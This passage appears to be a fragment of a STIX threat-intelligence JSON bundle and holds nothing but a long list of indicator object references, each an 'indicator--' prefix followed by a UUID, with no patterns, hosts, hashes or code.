        "indicator--e7951e78-45dd-446f-99bf-985dc35e5c14",
        "indicator--2b1627a7-403c-4d58-a91a-0f005296cd6a",
        "indicator--9680d567-2b3d-4c7e-a94f-e15eb8f4f636",
        "indicator--102dac69-be0d-4aa0-a54a-7933adf4aac5",
        "indicator--f1dd6f8c-5f10-4dc6-8a44-cdd42c2ed1ae",
        "indicator--c133789e-1ba0-48da-954d-7e8255e3c12b",
        "indicator--71efa8cc-4c8b-4034-adae-c2a35e2f6455",
        "indicator--7b5d5579-398f-4a81-bab4-7edd7194cbf7",
        "indicator--a01d4c52-cd13-4719-a03c-f99991107e8e",
        "indicator--1abae6f5-ce35-4062-ad52-55b0bf0c7d0e",
        "indicator--33a7cc11-4d3a-4857-a154-792788cf3043",
        "indicator--2c370ad5-f018-4409-b05e-1054160cf4aa",
        "indicator--cbeb04a4-1df5-45b7-aeb4-69b1db0f6a0c",
        "indicator--7e213683-bf84-4af1-9204-f15c2876f639",
        "indicator--5fea7b2c-02c6-4c36-af9b-35e969ec12c1",
        "indicator--226c31a7-f7cb-49aa-9653-955cb6cc6d62",
        "indicator--507d5ff9-0df2-45b0-922b-9d0b6f845ea2",
        "indicator--c434d22d-f4f8-4a83-afd5-61d37ac2eaa0",
        "indicator--c1cccfa5-7e61-4e0f-920d-c85dfabb6e16",
        "indicator--320b284e-f66f-48aa-8f68-d8bf7a0fe963",
        "indicator--5960133e-d6f0-40ab-a232-79d9695f5f58",
        "indicator--cea5e1c1-aa23-438f-bfda-1b1227534cf7",
        "indicator--4bb50b9c-ef39-41f3-88c6-38d1ca95596a",
        "indicator--ebf21b48-174d-4298-ab5c-62727ec71bd3",
        "indicator--d9e5b71f-6be2-4d28-a4df-f58cd78328dc",
        "indicator--8008d310-191d-4ad6-ac1d-9623bd0fa539",
        "indicator--5b2a9f64-1d49-4ef6-8ac2-7e26bbe12e9c",
        "indicator--8d785fc6-d0fa-4aa7-a2b8-ebbf021db422",
        "indicator--cf71c616-5cfe-4483-89e2-67c01d04c586",
        "indicator--b4a6ba9b-f1aa-47dd-9f9f-7bd4aaa84437",
        "indicator--33e1cb5a-2e72-440b-bdac-339ec6f3c523",
        "indicator--e7a43fb6-f179-42c0-9dae-523e08081aee",
        "indicator--c66adb69-7596-4bcb-9ed7-19e6577d41e7",
        "indicator--486354c8-cb62-4d16-89ea-e7d967d08e33",
        "indicator--d2f043a5-5d93-44b3-a20f-d9cc37b5d553",
        "indicator--a936ceca-9813-4121-ac03-af1614205c62",
        "indicator--b7689521-5695-41c9-8886-dbd130f70c7d",
        "indicator--99d508b6-f7cc-46ec-a5e0-b6cf0c2f71e5",
        "indicator--21e49f77-0106-4dd4-97c9-91e735994b21",
        "indicator--93546857-d9a2-4c89-a312-f88d02c54f6d",
        "indicator--f20a2aad-192a-4cc9-a949-8d200a1ea23d",
        "indicator--d99fad87-3819-42ab-9b4a-7948c4a556bc",
        "indicator--ff64c032-f14d-4428-8a90-dae7ac7c5a59",
        "indicator--8466c5ca-25a8-4753-a16f-3c0f5db75bd2",
        "indicator--ab5fbcbf-8480-49e9-9905-0e5710cf4eb8",
        "indicator--bf1ef00b-0942-4559-bf2a-c7f5f8139f19",
        "indicator--7bcc9ec5-8a43-4621-9640-d1c9813ba71a",
        "indicator--cbbce569-13bf-4cc1-9604-5de164b26094",
        "indicator--8e7a0205-984a-41e0-bcec-19c30dcdf016",
        "indicator--19d66997-a4a8-4216-868e-db231cc5b614",
        "indicator--57bfcdb2-c12b-4591-ae6f-978422d67588",
        "indicator--4aae3b92-9edb-4fb4-a768-f4faf902b3cf",
        "indicator--45bf1fe4-b63f-47fd-aa5b-d07a32f139db",
        "indicator--a2ba5af5-b864-4523-a6f9-24553ae10edf",
        "indicator--f676800b-d4cc-428b-90f9-1fd07ba125dd",
        "indicator--15cd916e-790b-4493-afb9-4c12163b9a80",
        "indicator--df8cf7cc-c288-446b-984a-d64869fa70da",
        "indicator--34e112a7-3155-43a5-9448-76f467cd675b",
        "indicator--0098ae1c-43cb-496d-abad-d199b9b921ee",
        "indicator--5ab3537f-8720-4aa9-b9e5-fe341156870b",
        "indicator--06837a9a-0a0e-49ff-a686-992fd3ce4374",
        "indicator--2cda8992-e153-4938-821a-4fff900a31ce",
        "indicator--e01f85b4-ea25-4be5-b217-1c324b002296",
        "indicator--2f6def23-5134-4cd8-aac1-4545ace172f8",
        "indicator--74e817b9-9877-4bdc-96d6-318170b7242f",
        "indicator--389b7e7e-8d74-4102-8e21-2b7e74ab9661",
        "indicator--c05f191f-4184-4f01-90c2-89bb5ba3b401",
        "indicator--ecac6e30-bfdd-49b0-a534-900807b7df8e",
        "indicator--aec43a03-1552-4960-9500-70cba399247c",
        "indicator--155b0016-3972-48db-9719-5d5a7ae3df20",
        "indicator--266312ad-179e-41d6-b5ca-c7a929dfd8a3",
        "indicator--90e5f2aa-ac27-4126-bb1d-67d72ae96b34",
        "indicator--1c49fbae-e91d-4161-974d-8fa650395dcd",
        "indicator--2cce6dee-ee62-4d6b-8f86-f952c11073a2",
        "indicator--03c32e0e-0929-4037-b3cd-3306158502b0",
        "indicator--c4400f3e-0f1f-44cd-bd46-40529ff87285",
        "indicator--9564d372-d6f4-43b5-9a2d-4a64c30f9bea",
        "indicator--af3c811d-3274-44cc-b953-b2f891f5b987",
        "indicator--d223a855-3759-4bf0-9efb-9f7d79475e91",
        "indicator--8e0f4ce5-a531-498c-937d-70d08d8fd5fa",
        "indicator--2674a5d0-2cbf-4d22-abe3-226b64247977",
        "indicator--652485e9-a038-4984-83e4-5a10259c2a43",
        "indicator--ef70aa25-795e-400d-80be-34b27abdaf43",
        "indicator--ac350286-2747-48c1-8daf-70d60ddd00a7",
        "indicator--1eeb59f3-4f9e-4dd5-a110-b7fac9d327b2",
        "indicator--c960e07b-4bc8-43aa-b215-8f713e3d1d3f",
        "indicator--fc280feb-f7ac-4669-b400-b58b1b5dc32a",
        "indicator--4e8b6c57-51a0-4e3d-b98d-d30285f7000f",
        "indicator--e6d3650c-049d-415d-b439-6dd04c9f5bc5",
        "indicator--5ed391d6-686a-49ec-b900-de578c232106",
        "indicator--4e6a84a1-4b83-4a9b-a0db-d82992e745b3",
        "indicator--acc3a40d-faf3-4851-8c66-81f77cd7e0aa",
        "indicator--03afb887-6a52-48ef-af1d-8a1c9d332ab5",
        "indicator--215bf598-7416-4544-8695-72ca90c88eab",
        "indicator--23b6a326-67e5-41a0-afc3-0de2260777a8",
        "indicator--401d78dc-ba5c-4bc6-96f5-cc18ec5b9868",
        "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
        "indicator--5d7e5d00-284c-420b-bf6b-66ab958a30ca",
        "indicator--e3727b29-73b0-4016-9d26-35acea5ee5d5",
        "indicator--0538e925-39d9-46f6-ab55-532580fc1438",
        "indicator--d7f8145c-6e93-4cdf-b073-8936e40c5bc9",
        "indicator--ef99e560-470f-4544-ae6b-a30a6ca40646",
        "indicator--62b06d64-ec02-4cd7-8857-c9a31777b513",
        "indicator--adb9217e-b04b-4a61-ac5c-c5664eb082d1",
        "indicator--df20a271-9fbd-432b-bb01-1b176675c41d",
        "indicator--ff57d990-c004-44f5-87cb-4a7e3548a85c",
        "indicator--9832417e-bb84-46a3-8723-e2995820dd70",
        "indicator--12544ed5-91b1-4db5-b050-dc7bae3cfea1",
        "indicator--f8b0e367-c2fc-49ea-90ca-fce742c9f6cd",
        "indicator--b1a1fbb8-a51b-4d34-9be4-f3b2ba7bc57d",
        "indicator--301a197d-04fc-4522-b12a-615f0d910271",
        "indicator--ec9dc9b8-d752-43e9-b5a1-dacc46bc7d4f",
        "indicator--cbb0b81e-0416-4a30-a7fa-f71803ed61a9",
        "indicator--7e6725db-7fb9-46fc-81c0-2ff223eb48ea",
        "indicator--a07d8bf7-d3c1-4ac6-88e1-eb86cc34e438",
        "indicator--4fe1ae12-dd5b-4fd5-b962-e616c9abe8ac",
        "indicator--b458b4c2-8265-4e59-ac85-8c25c083cbcb",
        "indicator--8370e90b-a41f-4907-a56f-b3d498067726",
        "indicator--52793ccf-d197-49df-b77e-ae249ef47bf3",
        "indicator--975c57cb-1ab9-42c6-9845-226a1f253f6e",
        "indicator--9be557b0-fd95-48e8-bfb8-856a00a77d34",
        "indicator--cca44ea3-552b-421c-b9f1-d1a8284fc8cf",
        "indicator--dcc3a626-1607-438d-b751-a1f7ed13c5c7",
        "indicator--88064a48-c328-4b62-aeb6-4f535b1d202b",
        "indicator--f455d8de-4d95-4e79-be7c-401be93b8994",
        "indicator--d980acd5-66c7-436e-a278-5bc25547bb13",
        "indicator--9ab720a2-0e81-4f26-bd3b-0e093db9f6ee",
        "indicator--535e9a11-65a0-4c0a-8d63-ef79d81b8258",
        "indicator--45706f89-c7e5-400e-b152-705daa4227f9",
        "indicator--24ac073b-72b2-4ed3-863e-37d661ecbb89",
        "indicator--0237c062-3568-49a1-8871-3eabdd417cb1",
        "indicator--ebafe600-daed-43d5-9d24-2bbfc7a240c4",
        "indicator--7aadd378-98e9-421e-8ac8-304ae93cc9ad",
        "indicator--cdacfef7-fcf2-484a-836c-e4701ff1af11",
        "indicator--57a25cbb-fb69-4581-8936-eabda4fa7509",
        "indicator--3239d971-427f-47fe-af04-2981c9dd9e29",
        "indicator--496e7214-2b1e-4650-abac-a91db8ab29eb",
        "indicator--4d347580-579f-4706-8290-be4b48c4ae0a",
        "indicator--5a9e8ad0-f586-4bf9-9690-38e9d4ce78e1",
        "indicator--5cc264b9-dd11-404c-a47e-87d16d7134e1",
        "indicator--b285a1eb-af2a-447d-9d96-8cd72ffb2d5d",
        "indicator--47950095-a5a3-46cd-990a-c2798194f0d9",
        "indicator--22c14de7-de34-4b20-98ba-d9625981b2bd",
        "indicator--b99274db-b37c-46c9-9cea-dd01c1e8375f",
        "indicator--e4434a93-85b8-4260-94aa-53a08b342a88",
        "indicator--319bb893-568f-4859-b992-573c5b0cce27",
        "indicator--606f6621-a0cf-437f-b664-86d573ecc101",
        "indicator--aa994be2-b180-47a7-8158-95a24d411987",
        "indicator--cc0bbc80-d975-4ddf-b4f9-f3d9d25f916e",
        "indicator--744966a4-f6c0-4b98-bfb8-df5988ce5229",
        "indicator--70dec905-af76-421e-bbe5-feb2dc9586bc",
        "indicator--3ae7a4ba-e509-4e4b-8d20-15d8e4a530a0",
        "indicator--f0dd478a-74db-4f67-a823-e04f6d4b965f",
        "indicator--9ec572cf-c343-4c95-8299-499db0d9180b",
        "indicator--b4fbaf7f-cada-4746-bdac-eaf07f98ebd2",
        "indicator--4f050343-34c4-40da-99b7-9d3d9ff76619",
        "indicator--8c74eba4-8371-42d2-a1cc-892396c1171a",
        "indicator--63bf7d05-fe56-4d97-b310-985682759a11",
        "indicator--ef83ec47-b660-4419-92e0-75d72f87ba44",
        "indicator--12b2abea-3f54-4ab3-95a3-13c70e1694da",
        "indicator--9eb2c141-33a2-4dfa-b9bf-5be5d7142d4f",
        "indicator--177dc36b-985f-4b05-96b9-729cc48aea21",
        "indicator--98d50362-a05f-4a93-ae91-5e0388e25ad4",
        "indicator--a5152447-fec7-49fb-bdeb-3c2af9edbff5",
        "indicator--05933f57-fb0a-4356-b71f-07add707edcf",
        "indicator--5465e9e2-5c51-4597-b31d-76fbfb884f70",
        "indicator--7f5d5f1c-2509-4d74-936b-54118639dbfd",
        "indicator--b0351d08-09b8-4fee-9820-0055e06504f6",
        "indicator--d399dcc8-8738-42b1-8277-160a6895342f",
        "indicator--0c5a6e01-b8aa-43c3-9f02-4faf16b19f76",
        "indicator--3dc23505-4304-434e-a9bd-6d99d2199c88",
        "indicator--3b9c41d4-a0dd-46e9-a12e-2f861f96d4d4",
        "indicator--ee5c6557-44b1-4b3a-81a5-107acfbf0d14",
        "indicator--6ebc300c-7bf0-4918-950e-6d98d7a490b0",
        "indicator--7f113329-83b3-4783-9d6b-c34e0af0b655",
        "indicator--c4b6e54c-5072-41b1-acc0-f8f50623d8b8",
        "indicator--93db15be-3e8f-4148-a0ad-c2d7325b9d79",
        "indicator--17c161bd-2689-4309-b3cd-47d041cc9bee",
        "indicator--2f4068e8-5b08-454d-bec3-1a744e3253d2",
        "indicator--6e00f72c-5f5a-49e9-83e8-9dae0196398c",
        "indicator--2501a419-d269-4997-9acf-e54689fef9c4",
        "indicator--3fae42f8-9f8a-4d07-ade1-6a6b617776bb",
        "indicator--50af7643-acc2-48ae-8256-5fefcdfeccac",
        "indicator--56d9b25d-92f5-412c-b1c4-df8a41613901",
        "indicator--6eec5075-e3c1-40d4-a185-66ccadff151b",
        "indicator--451d3e88-30fa-4dd0-9f5e-84a68fa93dc3",
        "indicator--355b72bf-26be-48c3-a722-5b0c0349ff89",
        "indicator--5b6f70b8-81bf-4619-a4ca-15bc89f58922",
        "indicator--9a0a631a-70db-403f-8afb-f84cb6e337d8",
        "indicator--08318bd6-f6d3-40b1-81fe-8cb3969e7671",
        "indicator--13346c03-1aff-4208-bba9-34f0969ad18c",
        "indicator--3e117f7e-49f5-4b8a-ba0e-c78af7320669",
        "indicator--7bab3cf8-64df-466a-930d-9da533fb1370",
        "indicator--86065b05-f33e-4aea-a51d-1f6743f9fab3",
        "indicator--669483fc-43cc-4127-a4e4-9c059da887ef",
        "indicator--74c3ef4b-8961-4ebc-ba9c-e78b1e3d3e68",
        "indicator--e29dab96-9632-46aa-874e-7f80fd558e55",
        "indicator--0e7b6d3b-d342-4d22-940d-aaf91bf94db7",
        "indicator--7103cddd-ef71-4e05-a401-5e5054901737",
        "indicator--e7488ea9-5221-403e-947d-9987c65fc1a3",
        "indicator--3bc60fdb-e168-4e2f-94c2-a5c4d782f4fd",
        "indicator--82692d42-8b87-435f-9971-0ae9771de086",
        "indicator--59f00d86-b2a6-4ccf-afcf-dde75f358674",
        "indicator--82dd4d07-caa7-449d-b116-c23be44dfbfc",
        "indicator--d1085c4e-92ec-45bc-a779-092086132fff",
        "indicator--652432c8-d14e-4c44-a10c-5dca7939f15a",
        "indicator--8ff75ba4-f9e9-4b3e-a445-22c9aaccb812",
        "indicator--bf4aacd1-f21e-4ccb-b9a9-e5fe1fac1183",
        "indicator--481a2c52-abfc-49b5-bd38-b5f47a773f58",
        "indicator--faeb47a1-c77e-46f5-b6a1-e26023a35c5a",
        "indicator--89346d5e-6347-4846-9ef9-1d12def2442c",
        "indicator--db2f164e-86c6-4510-9087-b757291fb989",
        "indicator--5eb4c354-7518-4d37-b09a-900ef74ac85f",
        "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
        "indicator--f4004609-8ffc-4340-8530-b9e7f57bb427",
        "indicator--6f9bde29-5d9c-4f5e-b92e-85397bd74f2b",
        "indicator--30a00dee-a7f4-416f-9590-29192c2c5e17",
        "indicator--2cdf57dc-e11b-453a-b5d5-47019682d7b1",
        "indicator--1f079c1b-410c-4e84-8b68-27ba1eaf9a1c",
        "indicator--4e87f640-017c-403d-a198-7a8f77e91c04",
        "indicator--95bf2c3c-83a0-43ab-861f-db09de7e4eee",
        "indicator--e86e4e22-5701-4f1d-900c-65969cf15264",
        "indicator--fa4ff68c-9532-4ea8-85e6-720e37a0a1c6",
        "indicator--bc75803c-a1e8-465b-a5c7-d17bd0ec5058",
        "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
        "indicator--b5714144-cc6d-4ce8-8859-86475b9b883d",
        "indicator--4b726767-0ea0-44a8-a9f9-ed64b621333f",
        "indicator--63f781b6-d56a-4186-8134-4a67f88ac552",
        "indicator--cb1a711e-fce8-4d90-a501-b48fe201ffb8",
        "indicator--0d8eab57-66a7-4819-b8d9-39f8b8925c84",
        "indicator--31caac18-5d15-47fa-9e77-d326d23435da",
        "indicator--8e80b962-d309-4603-96c6-f7bad0e60f5f",
        "indicator--f1dcbe59-2397-451a-b0a6-24afe663aa30",
        "indicator--0229af05-4d64-4d6e-945a-e1bfeec0d461",
        "indicator--cbaced34-c9c7-415e-8ee9-7b7a94cb60fe",
        "indicator--4ce11d62-3233-4f11-b673-0fda548940dd",
        "indicator--9de338e9-93d1-4900-827c-2ebbf4181708",
        "indicator--2f2ec2e0-3eab-4076-9b71-5bc0096cf8c9",
        "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
        "indicator--2c70a97e-f1c7-486d-bb62-9e31c773274c",
        "indicator--e598f7c8-9c07-4cc5-83ef-3cba693f2033",
        "indicator--2d2a464d-ab91-413f-b5e5-15dbc08a3314",
        "indicator--4a4e6f20-fc8c-4b87-a788-29eda63a9564",
        "indicator--cbcf4550-c8a8-4e9a-9d43-57a5187c5776",
        "indicator--f38afaae-586b-4d4e-be1e-23a40574f6ac",
        "indicator--8ee6a75d-23d1-41b1-ad36-f9d83380f202",
        "indicator--3e6f0ca7-8b69-46e6-b94c-c9f587c91f1e",
        "indicator--6b486739-0175-4f39-a7a4-0138ef3dd319",
        "indicator--dc870592-6ff2-45cc-acec-13035fa1f19a",
        "indicator--77dfc0f2-888d-484b-b271-aa044937b9e2",
        "indicator--6ad878ba-b4f4-4ce9-87a3-e565596beb81",
        "indicator--e827c83b-a187-4d36-bb03-caa899d84659",
        "indicator--8bae08a2-790b-4d37-a2f4-f833e3ef3fb9",
        "indicator--492c8973-27b8-428e-811c-9164f514d47f",
        "indicator--9b6a366f-ddaa-415c-98b8-95d06f8694ee",
        "indicator--14ac72c6-deba-4970-9d30-ca3378178df4",
        "indicator--2ea4d410-38c1-48a6-9b48-4f7c86849186",
        "indicator--6c504b64-2dc0-4426-a9c9-73ec81345d14",
        "indicator--8987f1f3-1f1f-408e-b480-ea603dc21f0c",
        "indicator--483f8229-efe9-4455-ae0b-d6e7375ac7c6",
        "indicator--1efdfc24-aa9c-4a96-86e4-58205adbf974",
        "indicator--37c6185e-299a-40bf-8eb8-d6519d1efd4c",
        "indicator--9c9e5699-9e78-4a6e-bfe7-163efbf04d6e",
        "indicator--fe609b1a-4dc2-4bbc-944c-9f9050e785d8",
        "indicator--d69dfb4a-28c1-4272-ba8f-ae1e7b525dc7",
        "indicator--8a3ef344-84c8-4f04-8d0d-a4bc5ca1b324",
        "indicator--952edd43-1944-4ef9-b21e-976d6b552deb",
        "indicator--cb537681-33ff-4d29-9ed9-819b7ccb4bd4",
        "indicator--f687797c-0cfc-4ece-86e8-096cbc33636c",
        "indicator--ef4ece93-b033-4e97-9b42-b01d128d9e3c",
        "indicator--3d6db20c-b45c-455a-afda-c95b8ae6791e",
        "indicator--14532344-ab3e-4afb-9a3b-94ff77bc3f4a",
        "indicator--fa519563-407c-4af9-8888-4c4135d3359b",
        "indicator--dfbb0fc8-3c28-48a4-bf8f-57d2e93bf1ab",
        "indicator--c4a1998a-c763-4996-80b0-31f5aac1ad6d",
        "indicator--1be33b90-249e-47d5-8672-6806dbee12b4",
        "indicator--d9510f8a-b334-474f-a56a-1e558f404109",
        "indicator--51ac579e-c04c-40ab-9353-1a1ad1d5d9cf",
        "indicator--4bf48bba-ed95-4d15-9fe6-0dd406b9b7f8",
        "indicator--b12ca3c2-3064-471b-ab1c-576b2665ef4d",
        "indicator--130125fd-53bd-4c5d-af25-c33219aa5380",
        "indicator--ef793e80-f6ec-41a8-8417-474262f44fa5",
        "indicator--6b4e00dc-e43a-4d1a-a05f-8078ae15fdd4",
        "indicator--eeb91c49-d54a-4a85-b18d-bb1ab721e65f",
        "indicator--62cf7850-c7ba-4e05-9766-c4d64ed70062",
        "indicator--15387033-bb07-4aed-bf18-39b0054597cb",
        "indicator--f4078907-0849-49db-8f64-174f372488d7",
        "indicator--a23a661f-bbe6-46ae-a268-bb0ddffa2ec8",
        "indicator--60e9f6f7-5f95-4212-8ca9-4ff6d00b514b",
        "indicator--451ea2b5-afbb-42c3-8cb4-094dab349e77",
        "indicator--f83ed713-00d2-47f9-b167-a3e3750b090d",
        "indicator--da25de29-6524-4b5c-8601-76439b487922",
        "indicator--99170b04-cb6e-4ffc-976a-0118cd639174",
        "indicator--5584e0a2-e230-4d1c-a0b7-5f56d5f99b6f",
        "indicator--2d17d422-47d4-4eed-8c0a-2286d4e4574f",
        "indicator--3643ecbe-6172-45a4-aca4-b042a971fe2e",
        "indicator--602d4f2a-2fb4-4b76-83d6-0fc23f07ae82",
        "indicator--d7aba973-3710-4552-8194-08be8f18402e",
        "indicator--0babe4d5-0451-4f80-a0fd-e4a0db838f33",
        "indicator--9b39a9ee-f576-449d-b997-636a9e9efae4",
        "indicator--35d30797-9a44-49a7-9111-88db25ca6250",
        "indicator--a1aeb8b1-7385-487f-9dc2-cc9b060fead7",
        "indicator--abdbaf60-906b-4ab1-90ac-b65a07009c87",
        "indicator--1203d649-b629-4845-b946-c4b6483b31c9",
        "indicator--0dc556db-0bb6-4e39-983a-39eeae4803dc",
        "indicator--39f5fcc9-fe02-468d-ada5-3f261e051c24",
        "indicator--686cfc16-e23d-4751-abbd-d93bec1c847a",
        "indicator--dbb94eaa-a98c-4dc3-bac1-c55a77ba4c1f",
        "indicator--3fadb1eb-937e-48d6-9004-0e3a5d73f073",
        "indicator--ca2ab586-c585-4e74-81b6-3519c2964731",
        "indicator--042afc22-5391-4c0b-bbf9-cbcfdb2c0a83",
        "indicator--ec91d367-ba76-484a-b87c-9e5657614d8a",
        "indicator--b1c8c65c-ae87-4fe2-b8cb-9765fcd0b4f5",
        "indicator--69dcbc73-95a1-401b-b56b-13ceaa5be484",
        "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
        "indicator--374b2226-a3cc-4254-8ae0-8f80da355cdb",
        "indicator--4b0680c3-a024-4a88-a337-00b7b7573cd6",
        "indicator--9f3e13f6-3587-4f5b-a7d1-0c2cce809fda",
        "indicator--7c4864cb-c4ef-4cbd-87df-478028789093",
        "indicator--77213cf5-8466-4aa0-9c40-08729e0f5192",
        "indicator--a342a10f-c436-47ec-b331-9369e360bf7a",
        "indicator--6d4b8030-fcd2-4d6c-9668-aec51b08dc93",
        "indicator--34ea4ca6-f2aa-4819-95bc-0a85df7cb308",
        "indicator--e8672a1e-eca9-4254-854e-f9ee04243d33",
        "indicator--9e0cde9f-f610-4755-8541-c62dc2ac4eac",
        "indicator--94b99a4a-08ae-420f-9969-e992c8359e9d",
        "indicator--590594d0-da0a-4478-8a11-e7279b516516",
        "indicator--7ad56806-6e90-4ca0-933a-f2ca7fa63284",
        "indicator--bb7a9f6b-b6d6-4872-8ed8-b4b2981dd1a0",
        "indicator--b283d541-7de7-481a-b7e5-832577e9a183",
        "indicator--87bad650-a3fd-438c-8a29-ad37b20b96e3",
        "indicator--ce9acd48-bb0c-48d6-8d6d-c8e6594255e0",
        "indicator--83430b0b-dce7-4dbf-8250-7186940662a3",
        "indicator--eec2cf3a-e1c7-4fa8-b128-8cd5ff4d7725",
        "indicator--888b5435-621a-43fe-a8ad-a7a6f2dd6193",
        "indicator--db7d927a-4b0e-48fc-91c2-3c9f9a3a4d05",
        "indicator--889d01bc-c7a5-4179-be83-7022715816be",
        "indicator--53201141-1501-413e-8f49-f567cab19f3a",
        "indicator--84673100-fe63-4f33-90f5-d8fc49e6e87c",
        "indicator--3c21a198-3c92-4bb8-98c8-c947fbffd2ff",
        "indicator--ede496af-59dd-4f20-9331-55355ff36af5",
        "indicator--7054c9d5-66e2-40fd-a1e6-e1920b38dde3",
        "indicator--4172d254-1bca-4032-8582-4a3a972d3e7e",
        "indicator--31403673-c724-45bb-950b-0008c92bfaed",
        "indicator--38b95e13-b115-4b2f-83ce-7ab27b533bbe",
        "indicator--bfcd7f46-856b-48a0-8d98-f8c902487f4c",
        "indicator--6e7b6924-1bd2-407b-bab6-e0fb4d2398dc",
        "indicator--027b82b9-cd8c-4ae5-a855-881541c4c2c9",
        "indicator--c0924373-d9d5-4c17-b3a5-7f71dcdddda1",
        "indicator--beb5b04a-56d4-45d9-b25f-b0cb7b1651fc",
        "indicator--b1c7f353-57ff-4821-b576-06907858ea6d",
        "indicator--cbec986d-f8c1-46f0-b90e-5b1699ed74a4",
        "indicator--0312e872-f1af-400b-bc15-222ce54e916d",
        "indicator--18350119-af29-455b-b6dc-e1ae81d1ae72",
        "indicator--4a77925e-372b-420f-889e-999a12a5e080",
        "indicator--f66e3b9b-6151-49ac-a278-2accd9e2af89",
        "indicator--7bac6a3f-7636-4d78-ae88-951c051e5c42",
        "indicator--5f564a9e-85b3-4bb5-928e-f3dbdefd5643",
        "indicator--2210939b-82e9-4ea5-b1e4-0f27ed8af4fd",
        "indicator--bbb9debb-6efa-4912-9c7d-589eee93e2d4",
        "indicator--4a73afe0-84d1-419c-9ff0-511100ed3881",
        "indicator--b2414573-ccbf-4ac9-9fd5-168ec5bf9c00",
        "indicator--4fc2e161-ede7-413a-b39a-fe1d0cfe75f4",
        "indicator--cecc56c5-2e7e-447c-b2bc-1772e175d2b7",
        "indicator--53f955ae-3494-4b0f-ab50-0efd62902440",
        "indicator--2a6608dc-b695-459e-a551-96fd487d9e86",
        "indicator--f7ee910d-39f5-43ac-8bbf-31d62498ffdd",
        "indicator--8eb9aa76-7ccc-4d96-b32d-d3d12046dbbf",
        "indicator--7def5365-76ce-42a4-a268-b55c6f461078",
        "indicator--1bd2704d-1901-452c-bcfc-73471fddb843",
        "indicator--3bbd5cb0-f52e-4f85-9cde-f49114ea37a5",
        "indicator--0f6a26f2-f38b-493b-8754-8524418f1380",
        "indicator--7cc1312f-3133-4b10-bfeb-94dc0ca7f673",
        "indicator--1d39bf76-f7a3-49fc-b0e3-f31181544a18",
        "indicator--e19b0a3a-7ac7-44b1-a045-b9239c9b32a5",
        "indicator--a949e461-666c-4988-a602-14029abe63f0",
        "indicator--013694d9-6b42-4300-8a48-b5bcabd021c5",
        "indicator--214aa2aa-2989-4c2d-b93e-60ccf9cd77cb",
        "indicator--b718b00a-5afc-41b3-a9d2-9be9aa7d434d",
        "indicator--1a83d9df-754f-42f5-97f3-60af46c311ef",
        "indicator--b0e1ebac-58c8-4f5e-9fd2-d06bb95e7fdb",
        "indicator--0daea12c-0d30-4a85-8018-30d6c13ffb5a",
        "indicator--c8de15cb-7d24-4e6f-94d5-c050bf5a1c97",
        "indicator--b1cae0cc-9f64-41a6-a4eb-31137dea5284",
        "indicator--f9bd74c9-4f07-4945-aa9c-b8bbba28d684",
        "indicator--3e9376e8-11b6-4ba4-97eb-e958eb7939c8",
        "indicator--2ccc0159-c060-4a28-bcbc-f0a37c0d8275",
        "indicator--71c6603c-66e7-4c12-bdb6-331615655393",
        "indicator--b7a7a399-36c7-4560-b7cb-2225eedf31b1",
        "indicator--d111bd7d-a97f-469b-88b4-5dc077f63494",
        "indicator--e4966a56-0c4b-4f23-98fc-a35dda5b5ac3",
        "indicator--badb058b-6605-418a-a1eb-1484d237bf88",
        "indicator--c8e0d792-012a-45ce-ab57-28049aefd999",
        "indicator--8ce0a156-ccd0-4cc2-ba1d-850f6016aa0b",
        "indicator--7463378f-a2ce-42af-8be8-5f652675b214",
        "indicator--b3603cf2-a0fb-46e1-9fc4-877743449f0c",
        "indicator--3387be82-f1c3-447b-901a-7f53ec54a5aa",
        "indicator--dd65327f-898f-4d63-8356-8a3dbe59cafa",
        "indicator--7d79fad6-3b04-4afe-a645-744b0e78b15b",
        "indicator--c64800c1-a00e-4db1-9800-dedda747ce0f",
        "indicator--32c1eed6-1671-418c-afde-ac764fb49c2c",
        "indicator--1ed32274-b27e-4982-81ee-6b29a312c911",
        "indicator--979a9472-8133-4b1f-8bf1-7521525a6336",
        "indicator--53ffab43-b15d-49b3-b953-a67a9917651f",
        "indicator--5c6afc8d-fa54-47cf-b1ea-dd3443c83e96",
        "indicator--94464fef-ecb0-43ad-a4c6-f9b2feab7ac6",
        "indicator--6881d8b6-2f45-4d57-b763-95164ee4d90e",
        "indicator--5d8473dd-87a1-471c-b9f1-b010099ed76f",
        "indicator--bd3bb5b9-828f-4e31-9c3f-19e4daa4bef2",
        "indicator--b272360b-de73-4992-a55b-51c2572c5db9",
        "indicator--a26f0da1-7291-477a-a58d-751ba3b93b00",
        "indicator--106580b3-5073-4217-a4ac-eed738904f88",
        "indicator--5ea09050-3605-4cdb-b65e-6561dc25e904",
        "indicator--634fa9b8-bfd5-4692-b730-c69122549c20",
        "indicator--2ea80ec0-8e68-4237-a468-5577d6e86f32",
        "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
        "indicator--5b09d2fd-e8a6-4964-b729-1079af4499a2",
        "indicator--28505e21-022e-43f0-8b55-6b886ae2ced0",
        "indicator--944b4ff8-cd19-461a-8dcb-2a1c1b74d1ca",
        "indicator--ffa2558a-5fc1-49a5-82d9-dce38237a61f",
        "indicator--d61b0e0b-15bc-474f-bdb5-70eae7231043",
        "indicator--ffa58ab3-2bc5-43c8-b757-6dc047f3ff94",
        "indicator--ae5a64c6-7db0-4d6f-b2b4-4968c0ff730e",
        "indicator--11fb00d1-6dd4-40bf-9e3b-5a0404757333",
        "indicator--7335f177-5abe-43ac-8483-cea8236cbd83",
        "indicator--690da607-94a5-4aaa-9c5c-f1e49c5d7200",
        "indicator--8e2f3c4f-bfa9-4706-9ae8-2c2d795c3647",
        "indicator--7518fd8b-c763-4345-8f0f-50dc7487e00c",
        "indicator--4b25562b-a440-4f7a-8377-e5c33c03b971",
        "indicator--bb9e9da5-cbad-4c8a-bf72-5d193bbc0b38",
        "indicator--d8641177-b2dc-46fd-b17a-2c09cf096a7d",
        "indicator--077052b5-b7b8-44a8-a15a-85153cf11193",
        "indicator--fe9d61c3-1fd3-4959-a858-4dc00d469f5b",
        "indicator--cf84764f-a6b2-4024-8d20-f782d576d8fb",
        "indicator--81c890cd-2fd3-4db2-af12-9894e7f181b8",
        "indicator--25f96acb-4944-487d-972e-99ec1f1b3fd2",
        "indicator--7eee1613-1486-4986-b63d-a4e0b4f01698",
        "indicator--e620a3db-96bd-45c3-9824-675c33dfeb48",
